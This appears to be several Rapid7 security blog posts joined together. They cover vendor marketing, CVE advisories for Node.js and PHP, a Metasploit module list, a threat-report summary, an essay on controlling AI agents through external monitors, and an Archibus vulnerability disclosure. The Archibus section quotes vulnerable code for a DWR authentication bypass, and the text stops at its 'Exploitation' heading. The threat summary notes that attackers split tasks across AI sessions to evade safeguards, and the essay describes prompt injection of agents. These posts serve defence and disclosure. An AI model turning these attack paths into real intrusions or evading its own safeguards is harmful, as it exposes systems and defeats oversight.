Issued nearly four years ago, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) Binding Operational Directive 22-01 (BOD 22-01) has been adopted across both public and private sector organizations as a framework to ensure timely remediation of vulnerabilities being exploited by adversaries. By establishing a catalog of known exploited vulnerabilities (KEVs) and emphasizing a risk-based, prioritized approach, it provides a clear model for organizations to strengthen their cybersecurity posture and reduce exposure to real-world threats.

InsightGovCloud, Rapid7’s FedRAMP-authorized suite of security solutions, helps organizations implement BOD 22-01 by providing automated vulnerability scanning, real-time alerts for KEVs, and reporting aligned with regulatory requirements. Public and private sector teams can quickly identify at-risk assets, prioritize remediation efforts based on active exploitation, and maintain an auditable record of compliance. By leveraging our secure, cloud-based platform, organizations gain continuous visibility, streamlined vulnerability management, and the confidence that remediation aligns with federal cybersecurity standards.

How InsightGovCloud stacks up against key BOD 22-01 requirements

Requirement 1: Maintain continuous inventory and visibility

• InsightVM, included in the suite, supports continuous and automated discovery of both external and internal assets through Discovery Connections, which allow organizations to continuously poll network sources like Active Directory, AWS, and Azure to enumerate connected hosts and launch scans. 

• For cloud environments, Rapid7 InsightCloudSec will continuously inventory the entire environment for the creation of new resources and automatically scan and assess those resources against compliance frameworks.

• Rapid7 also maintains up-to-date inventory of CISA KEVs with an industry leading 90% coverage for both on-premise and cloud based host vulnerabilities.

Requirement 2: Remediate CISA KEV findings on a prioritized schedule

• Continuous ingestion of CISA KEV catalog by Rapid7 ensures that detection and prioritization of KEV’s can be streamlined and native to one platform.

• Automatically detect and triage assets with KEVs across cloud and hybrid environments.

• Prioritize CISA KEV’s across your entire environment and establish remediation projects to quickly and collaboratively remediate KEVs.

Requirement 3: Establish policies and enforcement

• Collaborative remediation and compliance goals automatically track and assign vulnerabilities to the right teams with organizational defined timelines and real time dashboards to measure progress.

Requirement 4: Automate reporting

• Rapid7 has predefined exports in Cyberscope XML reporting format for seamless ingestion into reports for CyberScope submissions as per CyberScope Automated Data Feeds Submission Manual published by the U.S. Office of Management and Budget.

• Built-in audit trail to demonstrate adherence with BOD 22-01. 

Why agencies and contractors choose InsightGovCloud

Rapid7 InsightGovCloud is designed to support the rigorous requirements of state and local government agencies. The benefits are many, but among the top are its deployment into a FedRAMP Authorized environment – meeting federal security and compliance requirements at every level – its seamless integration into an existing security ecosystem, and its out-of-the-box alignment with CISA and CMMC security mandates. 

Agencies and contractors enjoy a future-proof tool in that Rapid7 is continuously updating against the ever-growing KEV catalog, as well as unmatched visibility and control through leadership-friendly reporting. Get to know the platform better here.

When these processes rely on manual administration, delays and oversights can introduce unnecessary work and security risk.

Rapid7 Command Platform now supports System for Cross-domain Identity Management (SCIM), enabling customers to automate user provisioning and deprovisioning through their existing identity provider (IdP).

This helps organizations reduce administrative overhead, maintain more consistent access controls, and manage identity at scale.

Automate user access throughout the employee lifecycle

SCIM is an open standard that enables identity providers, such as Okta, to automatically manage user accounts in connected applications.

With SCIM enabled, Rapid7 Command Platform customers can:

• Automate provisioning: Create accounts when employees join or need access.

• Keep user information current: Synchronize supported user attributes as information changes.

• Simplify offboarding: Automatically deactivate accounts when users no longer require access.

• Manage groups at scale: Synchronize group membership to help streamline access administration.

Rather than manually updating accounts in Command Platform, administrators can manage supported identity lifecycle changes through their existing IdP.

Less administration, more consistent access control

Consider a common scenario: An employee leaves the organization. Without automated provisioning, an administrator must remember to deactivate that employee's access across their applications. If an account is missed, it could remain active longer than intended.

With SCIM, changes made in the organization's identity provider can automatically trigger corresponding account updates in Command Platform.

By introducing SCIM at the platform level, Rapid7 helps organizations:

• Reduce operational overhead by eliminating repetitive account-management tasks.

• Strengthen access governance by reducing stale accounts and keeping user information aligned with identity provider policies.

• Scale more efficiently by centralizing identity lifecycle management for supported Command Platform applications.

For organizations with security and compliance requirements, these capabilities also help support consistent onboarding and offboarding processes.

Get started with SCIM

SCIM support is now available to Rapid7 Command Platform customers.

Platform administrators can configure SCIM through Command Platform's SSO settings using their existing identity provider. SCIM is disabled by default and requires configuration before automated provisioning begins.

For prerequisites and setup instructions, visit the Command Platform SCIM integration documentation.

On October 21, 2026, the Node.js Project published a security advisory for CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js 26.x, 24.x, and 22.x release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of 9.2.

An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.

On October 27, 2026, CVE-2026-111497 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability's potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.

Technical overview

CVE-2026-111497 is classified as an out-of-bounds write (CWE-787) and an unchecked return value (CWE-252). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.

The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions 1.0.3 before 1.0.10, 1.1.0 before 1.1.1, and 1.2.0 before 1.2.1. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.

Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in Bun, Python's Brotli and brotlicffi packages, .NET, Envoy and Istio, brotli4j, and operating-system packages. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.

Mitigation guidance

Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:

• Node.js 22.x releases before 22.23.4 are affected; upgrade to 22.23.4 or later.

• Node.js 24.x releases before 24.22.1 are affected; upgrade to 24.22.1 or later.

• Node.js 26.x releases before 26.12.1 are affected; upgrade to 26.12.1 or later.

The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.

For the latest mitigation guidance, please refer to the Node.js security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.

Updates

• October 26, 2026: Initial publication.

• October 26, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.
• October 27, 2026: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.

New Module Content (11)

4gaBoards Mass User Information Disclosure (CVE-2026-53959)

Authors: Balachandar Gowrisankar, de3erve (GitHub), and lucquach (GitHub)

Type: Auxiliary

Pull request: #21831 contributed by anirbala98

Path: gather/4gaboards_users_info_disclosure_cve_2026_53959

CVE reference: CVE-2026-53959

Description: Adds a module that exploits CVE-2026-53959, a broken access control vulnerability allowing mass user information disclosure in 4gaBoards versions 3.3.8 and below. The application's /api/users REST endpoint lets any authenticated user retrieve a full, unpaginated list of every user in the system. Missing authorization checks allow an attacker to retrieve the email, phone, organization, name, and SSO email addresses (ssoGoogleEmail, ssoGithubEmail, and others) of every user.

Langflow AI Authentication Bypass (CVE-2026-93680)

Author: Richard Howe

Type: Auxiliary

Pull request: #21942 contributed by rmhowe425

Path: gather/langflow_auth_bypass_cve_2026_93680

CVE reference: CVE-2026-93680

Description: Adds a new auxiliary module that leverages CVE-2026-93680, an authentication bypass vulnerability impacting Langflow versions 1.5.0 through 1.11.4.

Apache Solr Version Scanner

Author: h00die

Type: Auxiliary

Pull request: #22006 contributed by h00die

Path: scanner/http/apache_solr_version

Description: Adds a new scanner that identifies Apache Solr and reports its version.

MongoDB Auxiliary Module Suite

Authors: h00die and prithvee07

Type: Auxiliary

Pull request: #21785 contributed by h00die

Description: Adds the mongodb_version, mongodb_schemadump, and mongodb_hashdump auxiliary modules, and updates the existing mongodb_login module.

This PR adds the following modules:

• scanner/mongodb/mongodb_hashdump
• scanner/mongodb/mongodb_schemadump
• scanner/mongodb/mongodb_version

OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution

Author: Jean-Marie Bourbon

Type: Exploit

Pull request: #21826 contributed by kmkz

Path: linux/http/opencti_notifier_rce

CVE references: CVE-2026-27960 and CVE-2026-39980

Description: Adds a new exploit module for OpenCTI that chains CVE-2026-27960 and CVE-2026-39980 to achieve unauthenticated remote command execution.

Grafana SQL Expressions DuckDB Command Injection (CVE-2024-9264)

Author: Özcan Ersan (@ozcanpng)

Type: Exploit

Pull request: #21901 contributed by ozcanpng

Path: multi/http/grafana_sql_expressions_rce_cve_2024_9264

CVE reference: CVE-2024-9264

Description: Adds an authenticated exploit module for CVE-2024-9264, a DuckDB command injection in Grafana SQL Expressions.

Langflow AI Code Validation Authenticated RCE (CVE-2026-7873)

Authors: Richard Howe and n0k0

Type: Exploit

Pull request: #21877 contributed by rmhowe425

Path: multi/http/langflow_auth_rce_cve_2026_7873

CVE reference: CVE-2026-7873

Description: Adds a new exploit module that detects and exploits CVE-2026-7873, an authenticated RCE vulnerability impacting Langflow versions 1.0.0 through 1.10.0.

Langflow AI Authenticated Command Injection (CVE-2026-93674)

Author: Richard Howe

Type: Exploit

Pull request: #21939 contributed by rmhowe425

Path: multi/http/langflow_auth_command_injection_cve_2026_93674

CVE reference: CVE-2026-93674

Description: Adds a new exploit module that detects and exploits CVE-2026-93674, an authenticated blind command injection vulnerability impacting Langflow versions 1.5.0 through 1.9.0.

Langflow AI Validate Code Injection Unauth RCE (CVE-2026-0768)

Authors: Peter Girnus and Richard Howe

Type: Exploit

Pull request: #21864 contributed by rmhowe425

Path: multi/http/langflow_unauth_rce_cve_2026_0768

CVE reference: CVE-2026-0768

Description: Adds a new exploit module that detects and exploits CVE-2026-0768, an unauthenticated remote code execution vulnerability impacting Langflow version 1.4.2.

Langflow AI Custom Component Eval Injection Unauth RCE (CVE-2026-0769)

Authors: Peter Girnus and Richard Howe

Type: Exploit

Pull request: #21867 contributed by rmhowe425

Path: multi/http/langflow_unauth_rce_cve_2026_0769

CVE reference: CVE-2026-0769

Description: Adds a new exploit module that detects and exploits CVE-2026-0769, an unauthenticated RCE vulnerability impacting Langflow version 1.3.2.

Langflow AI Public Flow Build Unauth RCE (CVE-2026-10134)

Author: Richard Howe

Type: Exploit

Pull request: #21875 contributed by rmhowe425

Path: multi/http/langflow_unauth_rce_cve_2026_10134

CVE reference: CVE-2026-10134

Description: Adds a new exploit module that detects and exploits CVE-2026-10134, an unauthenticated remote code execution vulnerability impacting Langflow versions 1.0.0 through 1.9.3.

Enhancements and Features (3)

• #20944 from Nayeraneru - Adds specs to ensure the mkdir post API behaves consistently.
• #21915 from vjonline - Consolidates reverse handler bind address handling into a shared Msf::Handler::Reverse::Bind module.
• #22041 from adfoster-r7 - Adds multiple Meterpreter improvements. The Windows Meterpreter has a major reflective-loader/IAT-import reduction, as well as improved WinAPI/error handling, and MinGW/CMake build refinements. The Python Meterpreter has improvements to Windows stat support and FreeBSD process listing. The PHP Meterpreter resolves PHP UDP channel read bugs. All Meterpreters now align on recursive mkdir -p capabilities.

Bugs Fixed (6)

• #21490 from h00die - Fixes a crash when fingerprinting HTTP services that contained null bytes.
• #21979 from adfoster-r7 - Adds additional HTTP redirect checks to multiple modules.
• #21994 from adfoster-r7 - Adds additional FTP PASV IP validation checks to multiple modules.
• #22001 from Suryanshuv14 - Fixes DirtyClone module metadata and a typo.
• #22002 from mjatin2007 - Fixes leaking TCP sockets and file descriptors when the MSSQL Login Scanner module or the MSSQL session type is used.
• #22014 from cgranleese-r7 - Fixes false positives in the detection logic of the auxiliary/gather/hikvision_info_disclosure_cve_2017_7921, auxiliary/gather/magento_xxe_cve_2024_34102, and auxiliary/scanner/http/elasticsearch_traversal modules.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.5.6…6.5.8
• Full diff 6.5.6…6.5.8

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

On October 21, 2026, the PHP project announced security releases for two critical vulnerabilities in PHP. CVE-2026-109618 can corrupt memory during out-of-memory (OOM) handling, while CVE-2026-109619 is a use-after-free flaw involving state retained between requests. Both have a CVSSv4 score of 9.2 and both can allow for unauthenticated remote code execution (RCE) with the web worker's privileges.

All installations serving web requests are at risk, including PHP-FPM, Apache mod_php, php-cgi, FrankenPHP, and LiteSpeed. The vendor considers mod_php the highest risk because exploitation can succeed before any application code runs.

The advisories report that a successful RCE exploit was developed during research, including achieving RCE against Apache mod_php and PHP-FPM through different attack paths. As of October 21, 2026, there are multiple indications that this research is being independently reproduced, and a viable exploit is expected to be made public soon.

Due to the extremely high deployment of PHP based web applications, exploitation in-the-wild is expected. Rapid7 recommends updating affected installations on an emergency basis, outside of normal patch cycles.

Multiple public proof-of-concept (PoC) exploits for CVE-2026-109618 and CVE-2026-109619 are now available. Rapid7 researchers have reviewed these and observe that each demonstrates RCE only against a specific combination of operating system, PHP version, and web server, and none appears to be broadly reliable. Rapid7’s own research supports this. Our attempts so far have produced a working exploit only under narrow lab conditions, and exploitation depends on assumptions that are unlikely to hold on internet-facing instances. We are continuing to investigate approaches that could improve portability, but have not yet developed a reliable, general-purpose exploit. Rapid7 has not observed exploitation in the wild, though there are multiple reports of exploitation attempts, which is expected for a vulnerability of this profile. The situation is evolving quickly, and a more portable exploit technique could emerge at any time. The current difficulty of reliable exploitation should be treated as a window to patch rather than a reason to delay, and Rapid7 continues to recommend updating affected installations on an emergency basis.

Update #1: On October 26, 2026, CVE-2026-109618 and CVE-2026-109619 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA set the remediation due date to October 29, 2026, for affected Federal Civilian Executive Branch agencies and directs them to follow the associated BOD 26-04 forensic triage requirements. Rapid7 continues to recommend updating affected installations on an emergency basis and investigating for prior compromise.

Technical overview

CVE-2026-109618: Memory corruption during OOM handling

According to the OOM advisory, PHP can abruptly abandon request processing when a memory allocation fails. If internal request data is only partly initialized, that exit can leave invalid data for request cleanup to use. Crafted multipart requests, used for forms and file uploads, can exhaust memory even when their size appears to meet PHP's configured limits. Application operations that allocate memory in response to attacker input can also trigger OOM.

Apache mod_php runs cleanup even when request startup fails, enabling the demonstrated attack before application code executes. The advisory reports RCE over HTTP with default PHP input and memory limits, including multi-worker prefork deployments. PHP-FPM terminates a worker when startup fails, preventing that particular sequence. Source analysis supports FPM susceptibility after successful startup, but the advisory reports no complete FPM exploit for this CVE. Exploit portability and reliability depend on the PHP build, extensions, frontend behavior, and memory layout.

CVE-2026-109619: Use after free across requests

PHP can reuse a worker process to handle multiple HTTP requests. The stale-state advisory describes internal state that still points to memory freed at the end of an earlier request. A later request handled by the same worker can access that stale value before normal initialization clears it. Fatal errors, including memory exhaustion and execution timeouts, can interrupt state cleanup; some nonfatal diagnostics during shutdown can also repopulate error state after it was reset.

The advisory confirms RCE against mod_php through PHP 8.5's fatal error backtrace feature, when fatal_error_backtraces is enabled (the default), where a later initialization diagnostic accesses stale backtrace state. It also confirms session lifecycle RCE against mod_php and FPM. Session upload progress, PHP's upload-tracking feature, is enabled by default and can act as an early consumer of stale session or decoder state before normal initialization; reaching this consumer does not itself require an application call to session_start().

The validated FPM session path requires a suitable application operation to leave state behind after successful startup, followed by a fatal error and another request that consumes the stale state through session upload progress. Both requests must reach the same worker. Multiple workers and worker recycling can reduce success per request, but do not eliminate the condition.

Mitigation guidance

PHP has released fixes for both vulnerabilities. Organizations should prioritize updating to the appropriate fixed release or a vendor package containing both complete patches. The PHP advisories list these affected and fixed versions:

• PHP 8.2 releases before 8.2.35: Update to 8.2.35

• PHP 8.3 releases before 8.3.36: Update to 8.3.36

• PHP 8.4 releases before 8.4.27: Update to 8.4.27

• PHP 8.5 releases before 8.5.12: Update to 8.5.12

Linux distributions and long-term support vendors received patches in advance; check your vendor for updated packages. PHP 8.1 and older no longer receive routine upstream updates. For this incident, PHP has supplied limited source backports for PHP 7.4, 8.0, and 8.1. Organizations running older branches should obtain a vendor fix, use the source backports described in the PHP announcement, or upgrade to a supported version. PHP also warns that rpms.remirepo.net will not have updates on October 21, 2026, and urges its users to switch to distribution packages or build from source.

Note that an update containing both complete fixes is the only complete remediation. 

PHP's temporary configuration measures reduce exposure to specific paths and require careful deployment:

• For the OOM issue, enforce memory_limit=-1 administratively, such as through FPM pool or Apache configuration that applications cannot override. This disables PHP's per-request memory cap and removes the predictable PHP-limit failure used by the confirmed exploit. An underlying allocation failure can still reach the vulnerable path. Restart every worker and verify that no pool, directory, or application setting restores a finite limit.

• For the session lifecycle path, set session.upload_progress.enabled=0 in php.ini, an FPM pool, or server configuration that applies before request parsing, then restart every worker. Application-level ini_set() and FPM .user.ini are too late. This addresses the confirmed session paths only.

• On PHP 8.5, set fatal_error_backtraces=0 administratively and restart every worker. This addresses the confirmed fatal backtrace path only; other retained state remains a concern.

Disabling PHP's memory cap makes independent resource controls particularly important. PHP recommends post_max_size=8M where uploads are unnecessary or post_max_size=32M where they are needed, with upload_max_filesize below that limit. At the frontend, bound decoded request size, input and multipart counts, headers per part, and nesting depth, including requests without a usable Content-Length. If the application does not use multipart data, block those requests before they reach PHP.

Container or cgroup memory limits are also incomplete: allocation failures remain possible, and enforcement can kill the master process and all workers unless workers are isolated. Do not substitute RLIMIT_AS or RLIMIT_DATA, which can trigger the vulnerable allocation-failure path.

For stale-state exposure, correct invalid or deprecated per-request settings and attacker-reachable fatal errors or timeouts. Hiding diagnostics through error_reporting, display_errors, log_errors, or @ does not prevent stale-state access. The absence of relevant log entries is not proof that an installation is safe.

For the latest mitigation guidance, refer to PHP's OOM corruption advisory and stale global state advisory.

Rapid7 customers

To learn how to use Rapid7 capabilities to find systems affected by these vulnerabilities and for answers to common questions, read the PHP2Shell documentation.

For Rapid7 Customers with questions regarding Rapid7 products and their usage of PHP please consult this page.

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-109618 and CVE-2026-109619 with remote unauthenticated vulnerability checks, available in a dedicated release that followed the regular October 21 content release.

Rapid7 has also released authenticated scan checks for both the Scan Engine and the Agent for CVE-2026-109618 and CVE-2026-109619 as part of the October 22 content release.

Authenticated, package-based checks are now available for a variety of Linux distributions.  These checks evaluate installed distribution packages, so they can recognize backported fixes that keep the original upstream PHP version number. Run an authenticated scan with this content release to use them. For the full list of checks and supported distribution versions, read Rapid7’s PHP2Shell documentation, where package-based coverage for other distributions will be added as their fixes are published.

In a dedicated October 23 content release following the regular release, Rapid7 has released coverage for CVE-2026-115560, published on October 23 by the PHP Foundation. A mitigation technique is available, but no patch has yet been published. Exploitation of CVE-2026-115560 relies on non-standard configuration.

Current scope for authenticated coverage: Windows, macOS and Linux. Remote unauthenticated coverage provides coverage regardless of web-server OS.

Velociraptor

A Velociraptor Artifact Generic.Applications.PHPInventory is available to inventory PHP installations on Windows, Linux and macOS for remediation scoping. This artifact allows for the collection of package versions, common binary and module paths, and running PHP processes.

Updates

• October 21, 2026: Initial publication.

• October 21, 2026: Updated to reflect availability of vulnerability checks.

• October 22, 2026: Updated the Overview section to include Rapid7’s findings on a PoC and the Rapid7 Customers section to include a link to the FAQ documentation.

• October 23, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to describe authenticated coverage, Linux distro backported coverage, and more.

• October 27, 2026: Updated the Overview to note that CVE-2026-109618 and CVE-2026-109619 were added to the CISA KEV catalog. Updated Rapid7 customers section to reflect added Windows support.

For security teams already managing growing vulnerability backlogs, this creates a difficult question: How do you reduce exposure when attackers can exploit vulnerabilities before your next patching window?

Rapid7's Q3 2026 research brings together vulnerability intelligence, ransomware activity, APT tracking, and underground forum intelligence to show where attacker activity is concentrated.

The exploitation window has narrowed, big time

Rapid7 tracked 43 newly exploited high- and critical-severity vulnerabilities this quarter, down 7% from Q2 but still 19% higher than the same period last year.

The number of newly exploited vulnerabilities isn't growing at the same rate as disclosures. The more pressing concern is how quickly attackers exploit the vulnerabilities they choose. On average, exploitation occurred just three days after public disclosure. The report also found that 80% of tracked exploitation occurred within 14 days and 90% within 30 days.

That timeline creates a serious challenge for organizations relying on fixed remediation schedules. It also reinforces the need to distinguish between vulnerabilities that are theoretically severe and those that pose an immediate, exploitable risk.

The report examines the exploitation timeline in greater detail, including the vulnerability characteristics that make certain exposures particularly attractive to attackers.

Attackers are exploiting vulnerabilities that require no interaction

Q3's vulnerability data reveals another concerning pattern: Of the 43 newly exploited high- and critical-severity vulnerabilities tracked, 34 (79%) required no authentication or user interaction.

This provides attackers a potential path into exposed systems, no stolen credentials or malicious content interaction necessary. An internet-facing service with an exploitable vulnerability may require immediate attention, particularly when an attacker can reach it without authenticating.

This makes attack surface visibility and contextual prioritization essential. Security teams need to understand which systems are externally accessible, which vulnerabilities are actively exploited, and whether existing controls can prevent or limit compromise.

A CVSS score alone won’t give you the answers. The report explores the characteristics of exploited vulnerabilities and why understanding reachability is critical to reducing risk.

AI is taking on a more operational role in attacks

In Q3, 8% of the threat reporting tracked by Rapid7 cited AI as an operational component. The research identifies a shift from using AI primarily to help draft content or code toward supporting tactical decisions and execution within attack campaigns.

In the documented cases, human operators continued to select targets and determine objectives, but relied on AI assistance for technique selection, target assessment, and adapting when an attack step failed.

The report also examines how threat actors split malicious objectives across multiple AI sessions to evade provider safeguards. There are serious implications for detection in these findings. AI-enabled attacks also reinforce the value of monitoring and quickly adapting to attacker behavior rather than relying exclusively on known malware signatures or threat actor identities.

The report provides additional context on how AI appeared in tracked campaigns and what defenders should monitor.

The next step: Prioritize exposure before attackers exploit it

Q3's findings reveal a challenge that vulnerability counts alone can’t explain. Attackers exploited 43 newly tracked vulnerabilities this quarter, yet the average exploitation window was just three days. Meanwhile, underground forum monitoring identified 41 posts advertising RDP or network access, demonstrating continued interest in selling access to compromised environments.

Security teams must account for both the vulnerabilities attackers can exploit directly and the access they can obtain through other means.

Start by identifying externally accessible assets and the vulnerabilities affecting them. Prioritize known exploitation, unauthenticated access paths, and systems supporting critical business functions. Where immediate remediation isn't possible, assess compensating controls and detection coverage.

The latest Rapid7 Quarterly Threat Landscape Report brings together vulnerability research, ransomware intelligence, nation-state activity, and dark web monitoring to help security teams understand where threats are concentrated and what to address first. Download and read it now.

The new privileged user in your environment

Security teams spent two decades learning how to work with the people they trust most. Domain admins, DBAs, finance approvers and contractors with VPN access all get a mature playbook: verified identity, scoped access, logged activity and a fast way to revoke it all.

Today, we’re navigating the same kind of access with regard to AI agents. They read our mailboxes, query our data lakes, open tickets, push code and increasingly, act on production systems. Unlike a new hire, an agent can’t be interviewed, background-checked or made to sign an acceptable-use policy.

The industry has largely settled on one framing: AI agents are the new insider threat but that label only tells us half of the story. It tells us who to worry about, not where the controls should sit. Our argument is that the answer is a security idea from 1972, the reference monitor, and that the SOC is where it gets enforced in practice.

Why agents break the trust model we had

With traditional software, a security incident ends in a root cause. You find the vulnerable function, the misconfigured rule or the bad commit, and you fix it. The behavior lived in code we could read.

Large language models don't give us that. We can't point to the training example or the set of weights that produced a specific decision. The same prompt can produce different actions on different runs. For a defender, that removes the most basic assumption we rely on: that the system will do tomorrow what it did today.

The attack surface changes too, and computer science has an old name for this problem: the confused deputy. This is a trusted program tricked into misusing its own authority on someone else's behalf. An agent that reads a poisoned email, web page or document and then acts on hidden instructions is a confused deputy with API keys. No password is stolen and no exploit fires, which makes the agent's permissions the real blast radius, not the model's intelligence.

Where the insider analogy holds, and where it breaks

Most discussion of agents as insiders focuses on two gaps: agents have no career to lose, and they act at machine speed. Both are real. From a detection and forensics seat, though, four other differences change the work more:

The last row matters most. We can't make an agent's self-reported reasoning the basis of trust, because we don't yet know how to guarantee that reasoning is faithful. Evidence has to come from outside the agent.

Put the controls outside the model

If the model can't be fully trusted, the controls that govern it can't live inside of it. A system prompt that says "never delete production data" is a suggestion, not a control. A well-crafted injection can talk the model out of it.

Security architects solved a version of this problem in the 1970s with the reference monitor: a mechanism that checks every access request, can't be bypassed and can't be tampered with by the program it governs. For AI agents, that means separating three things: the model that reasons, the harness that orchestrates it and the policy layer that decides which actions are actually allowed.

The agent can propose anything, but only the enforcement point decides what reaches real systems, and every decision lands in a log the agent can't alter.

A security playbook for AI agents

None of these controls are new. What's new is applying them consistently to a non-human actor that reasons, plans and acts.

1. Give every agent its own identity. An agent should never run under a shared service account or a person's own credentials. It needs an identity that can be scoped, monitored, and revoked independently.

2. Enforce least privilege on actions, not just data. Define an explicit action space: which tools, which APIs, which parameters. High-impact actions like payments, deletions or production changes need step-up approval from a human.

3. Log everything in a place the agent can't touch. Every tool call, input, and output goes to tamper-evident storage outside the agent's reach. You should be able to reconstruct what happened without asking the agent.

4. Never let a model grade its own work. Use a different model, a deterministic rule, or a human to verify important outcomes. Avoid depending on a single model vendor for anything critical.

5. Red team continuously. Test prompt injection, tool misuse, data exfiltration, and edge cases, not just the happy path. Re-test every time the model, the prompt, or the tool set changes.

6. Build a kill switch before you need it. In May 2017, WannaCry was stopped by luck. A researcher registered a nonsense domain hard-coded in the ransomware, and new infections stopped spreading because the malware checked that domain before running. Defenders didn't build that kill switch. They found it in the attacker's code, it did nothing for machines already encrypted, and later variants simply removed it. Agent fleets can't depend on that kind of luck. The stop control has to be ours, sit outside the agent, cut off its credentials and tool access mid-run, and be tested regularly, the way an EDR host isolation action is.

7. Disclose and share incidents. When an agent misbehaves, tell the people affected, document which control failed and share the lessons with the wider community, the same way we share threat intelligence today.

8. Persistent memory is a new risk. Agents with long-term memory can be poisoned once and stay compromised. Add memory state to "log everything" and "quarantine its outputs."

Bring agents into the Security Operations Center (SOC)

Logging alone doesn't protect anyone, as no human team can review millions of agent actions, and handing that review to another unsupervised model just adds another black box. The SOC needs to treat agent activity as a first-class telemetry source, the way it treats endpoints, identities and cloud workloads today.

In practice, that means:

• Behavioral baselines per agent. Know which tools, data sources and destinations each agent normally uses, and alert on deviations, such as a code-review agent that starts reading the finance file share.

• Detections for agent-specific attacks. Write rules for prompt-injection indicators, unusual tool chaining, sudden bursts of high-privilege actions and data flowing to unexpected destinations.

• Correlation with the rest of the environment. Tie agent actions to the user, the session, the content the agent read, and the systems it touched, so an investigation can follow the full chain.

• Response playbooks. Pause the agent, revoke its tokens, quarantine its outputs and roll back its changes, with the same speed we expect when isolating a compromised host.

The security industry can lead in this area, as we already know how to collect noisy telemetry, find the signal, and contain threats quickly. Agents are the next category of asset to protect, and the next category of actor to watch.

Trust the architecture, not the model

Models will keep getting smarter, and vendors will keep promising they're safer. Both may be true, but neither removes our responsibility for what an agent does inside our environment with our data and our credentials.

The goal isn't to find a model we can trust completely. It's to build a system that stays safe even when the model gets it wrong. Security teams have done this for people, networks, and endpoints for decades. AI agents are simply the next privileged insider, and it's time we treated them that way.

While performing continuous red teaming exercises through Rapid7’s Vector Command service, Rapid7 discovered three new vulnerabilities in Eptura Archibus. A legacy API endpoint could be exploited to bypass authentication and run various functions without authentication (CVSS: 8.6  High). The most serious functions allow for full database read (CVSS: 8.5 High) and an insecure file upload (CVSS: 9.6 Critical). The insecure file upload leads to remote code execution.

Product description

Archibus helps organizations administer and manage their physical buildings, equipment, and real estate from a single central location. Users can track assets, maintenance work orders, real estate lease information, and desk or room reservations. According to Eptura, in 2023 over 16,000 companies and 40% of the Fortune 500 used Archibus.

Impact

A malicious actor with network access to the server via HTTP can read secrets and passwords out of the database. They can also run code to execute system commands as ‘NT AUTHORITY/Local Service’ and gain control of the server.

Credit

This vulnerability was discovered by Marcus Chang, Security Consultant at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

CVE-2026-107186 - Archibus Authentication Bypass

The Archibus Web Central web application uses Java Direct Web Remoting (DWR) for various API functionality, which allows requests with multiple method calls. The isPasswordUppercase method sets a system session in the thread, and the runWorkflowRule method gets the set session for authentication. This allows malicious actors to run seemingly any workflow rule without providing authentication. Rapid7 tested the AbCommonResources-writeHTMLtoFile and AbCommonResources-getDataRecords workflow rules.

Technical Analysis

Most DWR methods require auth and DWR allows you to make multiple calls in a single request by editing the callCount parameter and adding other method parameters to the request.

DWR processes multiple calls in a single batch sequentially on the same thread. The SecurityServiceImpl.isPasswordUppercase() method is whitelisted for pre-auth access, and internally calls loadTableDef() which sets the core system user session on the thread-local ContextStore:

// SecurityServiceImpl.java - loadTableDef()
private TableDef.ThreadSafe loadTableDef(String projectId, final String tableName) {
    Context context = ContextStore.get();
    final Project.Immutable project = configManager.findProject(projectId);
    UserSession.Immutable coreUserSession = project.loadCoreUserSession();
    context.setUserSession(coreUserSession);  // <-- sets privileged session on context
    // ...
}

DWRWorkflowService.runWorkflowRule() uses the privileged context set by isPasswordUppercase. If getUserSession() was invalid, it returns a session timeout, otherwise it continues execution. The end result is the workflow of the users choosing running without the user providing any authentication:

// DWRWorkflowService.java - runWorkflowRule()
ContextCacheable.Immutable targetContext = ContextStore.get().getUserSession();
// ...
if (targetContext == null) {
    handleSessionTimeout(workflowRuleName, workflowRuleInputs, result);
    return result;
}

Exploitation

